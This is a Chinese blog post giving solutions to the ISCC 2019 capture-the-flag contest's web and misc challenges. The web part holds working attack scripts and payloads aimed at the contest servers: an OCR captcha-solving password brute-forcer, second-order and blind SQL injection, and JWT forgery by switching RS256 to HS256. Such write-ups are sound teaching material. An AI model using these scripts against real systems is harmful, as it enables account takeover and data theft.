ISCC 2019 Writeup

这个比赛虽然总体难度不大,但是不得不感叹河南大军恐怖如斯,不准点做题拿个百血真不容易,垂直上分的大佬频繁出现,说这个比赛是一年一度的py大赛还是有点道理的(滑稽)。但是不得不说,参加这比赛还是学到蛮多套路的,脑洞大开,以及让人摸不着头的flag提交格式emmm

Web

web1

首先要求输入的valueascii码不在可见范围之内,但是最后要求value经过chr拼接后的username为’w3lc0me_To_ISCC2019’

php的chr函数会自动进行mod256,所以使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
s = "w3lc0me_To_ISCC2019"

payload = ""

s1 = "&value[]="

for i in s:

value = ord(i) + 256

payload = payload + s1 + str(value)

print(payload)
1
payload:value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313

再来就是要绕过intval($password) < 2333 && intval($password + 1) > 2333

intval函数处理字符串时,会从头开始检测到除数字以外的字母为止

我们注意到intval($password + 1) > 2333

是先将$password + 1后再经过intval函数的处理,如果$password传入的是十六进制数,例如0x10,那么intval(‘0x10’)结果为0,intval(‘0x10’ + 1)结果为17,这个特性在7.0以上版本不适用

所以只需要把2333转换成16进制即可

payload:password=0x91d

所以最后的payload:

1
/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x91d

flag:flag{8311873e241ccad54463eaa5d4efc1e9}

web2

爆破三位数字密码,有图片验证码,需要借助python的pytesseract和Image库来识别图片验证码

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import pytesseract
import re
from bs4 import BeautifulSoup
from PIL import Image
from io import BytesIO

image_url = "http://39.100.83.188:8002/vcode.php"
pass_url = 'http://39.100.83.188:8002/login.php'
s = requests.Session()
password = 0

def getImageCode():
while True:
print('--------------------开始识别验证码')
imageURL = image_url
image = s.get(url=imageURL)
captcha_img = Image.open(BytesIO(image.content))
imageCode = pytesseract.image_to_string(captcha_img)
print('验证码识别结果:',imageCode)
print('--------------------开始校验验证码')
match = re.search(r'^[a-z | 0-9]{4}$',imageCode)
if not match:
print('验证码:',imageCode,'校验结果识别失败,继续识别')
else:
print('验证码:',imageCode,'校验成功')
break
return imageCode

def guess(password):
while True:
passwd = ""
if len(str(password)) != 3:
count = 3 - len(str(password))
for i in range(1,count+1):
passwd = passwd + "0"
passwd = passwd + str(password)
print('--------------------------------------开始猜测密码')
imageCode = getImageCode()
data = {
'username':'admin',
'pwd':passwd,
'user_code':imageCode
}
g = s.post(url=pass_url,data=data)
g.encoding = g.apparent_encoding
if '验证码错误' in g.text:
print(g.text)
elif '密码错误' in g.text:
print('密码:',passwd,'错误')
password +=1
else :
print('密码:',passwd,'正确')
print('返回的页面结果:')
print(g.text)
break

guess(password)

但是这题听说可以删掉cookie后直接绕过验证码,密码是996

flag:flag{996_ICU}

web3

sql-labs 24关原题,考察二次注入

注入点在login_create.php中的username字段,注册用户名为admin’#

之后登录admin’#,username字段就赋值给了session中的username字段

在password_change.php中的$username是直接从session中取出的,也就是取出的username为admin’#

拼接到sql语句中:

users SET PASSWORD
1
UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass'

用户的密码就被修改为123

但是坑的地方在于这题没有设置容器,所有人共用一个数据库,可能很多人同时一起修改了admin用户的密码,所以有时候修改admin的密码后登陆不成功,并且这个数据库会定时修改所有用户的密码

所以能稳定登陆admin的方法是持续发送修改密码的包,如果admin’#用户被注册,注册admin’########也是可以的

最终登陆成功页面:

web4

考察parse_str变量覆盖

payload:http://39.100.83.188:8066/index.php?action=auth&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&key=1

flag{7he_rea1_f1@g_15_4ere}

web6

抓包发现是python写的网站,一开始有点慌,不过这题不是查考察python

我们登陆一个用户时抓包可以发现头部存在认证字段

1
Authorization: iscc19 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaGh4NjY2IiwicHJpdiI6Im90aGVyIn0.vwB2Jj8TyGQhO6i0EEw6vCIrplCxrh23ZHQ15aWeeoQkYsd5tDSu3cixf-faEfQbLkB-_-6EF4DVxGbR5zGp4MyQn90KeRooOF65xQViZ8qRUVvylU5pJBDCcs-XEE-GdD6qfARNFpdg8toggC0ld5l5OJbeAA9au00xiaCxhzs

很明显是这个网站采用了JWT身份验证,类似于Session机制,JWT的token结构是Json格式,同时将认证信息以经过加密算法处理后存储在头部的Authorization字段

根据题目页面的提示:只有admin身份才能查看flag,那么这题多半就是考察伪造admin身份的认证字段登陆

我们可以将我们注册用户的认证字段拉近JWT生成网站进行解密

解密后得到的字段正是JWT的token三个组成部分:

  • Header:
1
2
3
4
{
"alg": "RS256",
"typ": "JWT"
}

其中alg为算法的缩写,说明这串认证字符是经过RS256加密的。typ为类型的缩写

  • Payload:
1
2
3
4
{
"name": "hhx666",
"priv": "other"
}

这些是用户的信息

  • Signature:
1
2
3
4
HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret)

这部分就是加密算法所使用的密钥

常见的加密算法有RS256HS256RS256是非对称加密,需要公钥和私钥才能对数据进行篡改,一般私钥我们是拿不到的,就像这题的认证字段正是经过RS256加密,而HS256则是对称加密,只需要公钥就可以进行伪造

http://39.100.83.188:8053/static/js/common.js 源码处我们可以看到public key存放目录:

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}

/pubkey正是存放公钥的目录,它提示了我们公钥可以通过我们注册的用户名和密码的md5加密进行查看,我们访问http://39.100.83.188:8053/pubkey/7035124f823530ce2af7fb19bb625304 可以看到此RS256加密算法采用的公钥

1
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

因为私钥无法获取到,所以这时我们就需要将算法修改为HS256,如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。

生成认证字段的脚本如下:

1
2
3
4
import jwt
import base64
public = open('1.txt', 'r').read()
print jwt.encode({"name": "iscc19","priv": "admin"}, key=public, algorithm='HS256')

说明一下1.txt中存放的公钥为:

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK
omh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h
Kk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc
IC+LX+9V/mpyKe9R3wIDAQAB
-----END PUBLIC KEY-----

需要将网页上获得的公钥中\n替换成换行,并且这里priv之前是为other,需要修改为admin身份,用户名name猜测为之前认证字段的iscc19

需要额外在python2环境下安装jwt模块:pip install PyJWT

一开始运行可能会出现下面的报错:

跟踪源库algorithms.py的源码,会发现prepare_key函数会检验非法字符,将检验过程去掉,再次运行

得到字符串:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaXNjYzE5IiwicHJpdiI6ImFkbWluIn0.bEza2gXi7_q9qPFTSgbu8wWRpmHqHd1FFa-rJKY_38c

然后将这串字符添加到头部的Authorization字段,附加上iscc19,访问/list,即可获得admin用户的list

最后访问http://39.100.83.188:8053/text/admin:22f1e0aa7a31422ad63480aa27711277

即可获得flag

这题也是猜用户名iscc19稍微要有点脑洞的,emmm做的时候运气好直接拿这个用户名来试

参考文章:Json Web Token历险记

web5

这题也是道脑洞题,一开始页面只给了信息:*看来你并不是Union.373组织成员,请勿入内! *

扫描后台也没有结果,无奈只能尝试各种HTTP头部修改的方法,最后发现是在User-Agent头部字段最后添加上:Union.373

开始提示我们输入用户名和密码,通过POST方式传入参数usernamepassword后,提示我们用户密码即为flag

password字段加入单引号出现sql报错信息,很明显下面考察的是注出用户的密码

经过fuzz测试,过滤了#()extractvaluesleepandpassword等关键参数,其中最致命的还是过滤了(),导致很多函数都无法使用

使用万能密码1' or '1登陆,发现了回显了用户名信息:union_373_Tom

既然有回显,就尝试一下联合查询:

1
username=union_373_Tom&password=1' union select 1,2,3 or '

回显了2

但是这里因为过滤了括号,导致我们无法使用子查询

查阅了一波过滤了括号的注入方式https://blog.csdn.net/nzjdsds/article/details/81879181

这篇文章里提到的使用union order by的方式进行排序盲注,思路简单而言就是通过union使查询结果为union_373_Tom和我们拼接上的一行查询结果通过order by对密码password字段进行排序,并根据回显的用户名信息来判断排序的结果

下面用本地测试的过程来进行思路的说明:

这是users表中的初始数据,下面我们通过union插入我们构造的查询结果

可以看到对第三列进行了排序,并且可以根据我们插入的不同密码字段排序结果也不同,在页面上回显的用户名信息也不同:

  • union拼接的密码字段排序后比成员密码大,回显用户名:union_373_Tom
  • union拼接的密码字段排序后比成员密码小或相等,回显union拼接的用户名字段

另外因为题目password字段最后还需要闭合单引号,所以采用的是order by 3,'1,mysql会先根据逗号前面的进行排序,如果数据相等,则使用逗号后的进行排序

所以最后使用的盲注payload为:

1
username=union_373_Tom&password=1' or '1' union select 1,'hhx','1' from admin order by 3,'1

我们知道order by是对字符串一位位的比较,所以思路就是对union_373_Tom的密码字段进行逐位的排序比较,根据回显的用户名,如果插入的密码字段大于用户名密码字段,则需要

最后需要弄清楚order by排序的原理,测试了好久,排序其实是根据字符ascii码的大小,另外mysql中大小写的字符的排序是相同的,测试后的字典序列为_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://39.100.83.188:8054"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36 Union.373'
}
password = ""
s = "_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210 "
for i in range(1,33):
for j in s:
p = password + j
data = {
'username':'union_373_Tom',
'password':"1' or '1' union select 1,'hhx','"+p+"' from admin order by 3,'1"
}
r = requests.post(url,data=data,headers=headers)
r.encoding = r.apparent_encoding
if 'hhx' in r.text:
password = password + j
print('password:',password)
break

最后的密码为1SCC_2OI9

flag:flag{1SCC_2OI9}

Misc

隐藏的信息

8进制转16进制,16进制转字符串,最后base64解密得flag

1
2
3
4
5
6
7
8
9
10
11
12
<?php 

$s = "0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113";
$message = explode(" ", $s);
$m = "";
for($i=0;$i<count($message);$i++){
$m = $m.base_convert($message[$i],8,16);
}
$m = hex2bin($m);
echo base64_decode($m);

?>

Flag: ISCC{N0_0ne_can_st0p_y0u}

倒立屋

Stegsolve工具打开

根据倒立屋题目提示,flag就是IsCc_2019倒过来

Keyes’ secret

键盘密码,网上有现成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
STR = "RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY,WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT,QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY(TRFVBTYUIOJMTRFVG),QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM,QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR.QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRDXCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE,QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY(WSX.WSXCDE.,QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV).QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE-WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED,QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV,QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED,QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR."
STR = STR.replace("WSXCDE",'e')
STR = STR.replace("RFVGYHN",'h')
STR = STR.replace("WSXCV",'l')
STR = STR.replace("TGBNMJUY",'o')
STR = STR.replace("TGBNMJU",'u')
STR = STR.replace("GRDXCVB",'a')
STR = STR.replace("CVGRED",'g')
STR = STR.replace("QWERTYTRFVG",'f')
STR = STR.replace("WSXCFE",'d')
STR = STR.replace("IUYHNBV",'s')
STR = STR.replace("QWERTY",' ')
STR = STR.replace("TRFVB",'c')
STR = STR.replace("QAZSCE",'k')
STR = STR.replace("NBVCXSWERF",'p')
STR = STR.replace("MNBVCDRTGHU",'r')
STR = STR.replace("WSX",'i')
STR = STR.replace("EFVT",'y')
STR = STR.replace("YHNMKJ",'b')
STR = STR.replace("ZAQWDVFR",'n')
STR = STR.replace('XSWEFTYHNXSWEFTYHN','m')
STR = STR.replace('EFVGYWDCFT','w')
STR = STR.replace('TYUIOJM','t')
STR = STR.replace('QAZXCDEWV','t')
STR = STR.replace('XSWEFTYHN','m')
STR = STR.replace('EFVGY','v')
STR = STR.replace('RGNYGC','x')
STR = STR.replace('TRFVG', 'f')
print((STR).upper())

flag:FLAG{ISCC KEYBOARD CIPHER}

Aesop’s secret

帧分析,8张图片拼成一张图片

图片末尾最后一串:

U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==

BASE64解密后得到Salted__P开头的字符,推测是AES加密

但是网站直接解密失败,猜测有加密的密钥,尝试密钥为拼成图片里的ISCC

解密得U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ==

再次以密钥为ISCC进行一次AES解密,就能得到flag了

flag:flag{DugUpADiamondADeepDarkMine}

他们能在一起吗

扫描二维码得到

UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=

进行base64和url解码得到:PASS{0K_I_L0V3_Y0u!}

分析二维码图片,发现其中还藏有其他文件

用binwalk和dd分离出压缩包,dd if=Reply.png of=1.zip skip=8121 bs=1

其中有文件You won’t Wanna see this.txt,解压密码就是0K_I_L0V3_Y0u!

flag:ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}

Welcome

分离文件得到Welcome.txt,是一串密文,以为是什么加密方式,其实规律在于空格,每个句子一个空格代表0,两个空格代表1,最后得到一串二进制转ascii即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
s = '蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條戶囗  萇條蓅烺計劃 洮蓠朩暒戶囗  萇條'

s1 = ""

flag = ""

for i in range(len(s)):

if s[i] == ' ' and s[i+1] != ' ' and s[i-1] != ' ':

s1 = s1 + '0'

elif s[i] == ' ' and s[i+1] == ' ':

s1 = s1 + '1'

if len(s1) == 8:

print(s1,chr(int(s1,2)))

flag = flag + chr(int(s1,2))

s1 = ""

print(flag)

flag:flag{ISCC_WELCOME}

无法运行的exe

exe文件用sublime text打开后得到一串密文,用notepad base64解密后得到一个类似png的文件,保存后修改文件头为89 50 4E 47 0D 0A 1A 0A得到正确的png文件,是个二维码,扫描就得到了flag

flag:IScC_2019

最危险的地方就是最安全的地方

一个jpg文件,winhex打开发现里面有东西,修改文件后缀zip,解压后发现是一堆二维码

一个个用winhex打开发现最后一个50.jpg与众不同,flag就藏在里面

flag:15cC9012

没有flag标签,试了几分钟也是挺坑的,还好手快还有前十血emmm

解密成绩单

下载后的文件时一个压缩包,解压需要密码,但是用winhex打开后可以发现文件末尾有504B开头的十六进制数,

发现0908说明存在zip伪加密,将09改为00即可

压缩后时一个exe文件,需要用户名和密码,老样子用winhex打开

发现admin字样,猜测用户名就是admin,密码就是后面那串ISCC开头的字符,这个密码也尝试了挺久的,因为前后存在混淆的字符

最后正确的密码是:ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n

登陆后即可获得flag

High起来!

下载后的压缩包解压后得到一张损坏的png图片,在kali下修改png文件头,输入!%xxd进入十六进制编辑

修改文件头为8950后在命令输入!%xxd -r返回原来的编码后保存

修复后得到一个二维码,扫描后的内容:中口由羊口中中大中中中井

查询后发现是一个当铺密码,解密网站http://www.zjslove.com/3.decode/dangpu/index.html 解密后得到:201902252228

但是这个还不是flag,我们可以发现png图片中还隐藏了一个mp3文件,将png改成zip解压得到mp3文件,前面又解密得到了密码,所以很明显就是考察mp3隐写,这就需要使用到工具Mp3stego

解密后得到01.mp3.txt文件,内容是:

1
&#102;&#108;&#97;&#103;&#123;&#80;&#114;&#69;&#116;&#84;&#121;&#95;&#49;&#83;&#99;&#67;&#57;&#48;&#49;&#50;&#95;&#103;&#79;&#48;&#100;&#125;

拿去Unicode解密即可得到flag:flag{PrEtTy_1ScC9012_gO0d}

这里提交的时候也要把flag{}去掉,也是坑

碎纸机

原图可以分离成十个图片,分离后的十张图每张图末尾处都不一样

猜测信息就包含在里面,我们需要将信息提取出来,根据题目提示欧鹏曦文猜测可能需要opencv脚本来提取,但是无奈没写过,只能肉眼识别了

将多出来的这一部分的十六进制复制到notepad++里

点击 设置->首选项->编辑->勾选“显示列边界”->边界宽度设置为51(或26),然后 Ctrl+I ,文本每行就51个字符自动分行了

然后 Ctrl+F->标记->查找目标为0->查找全部 ,就可以给所有0标记颜色,做完这两步后,发现了类似flag的字符:

将10张图片都这样做,选择完整的一边截图然后拼接起来:

flag:Flag={ISCC_is_so_interesting_!}

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/05/25/ISCC2019/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog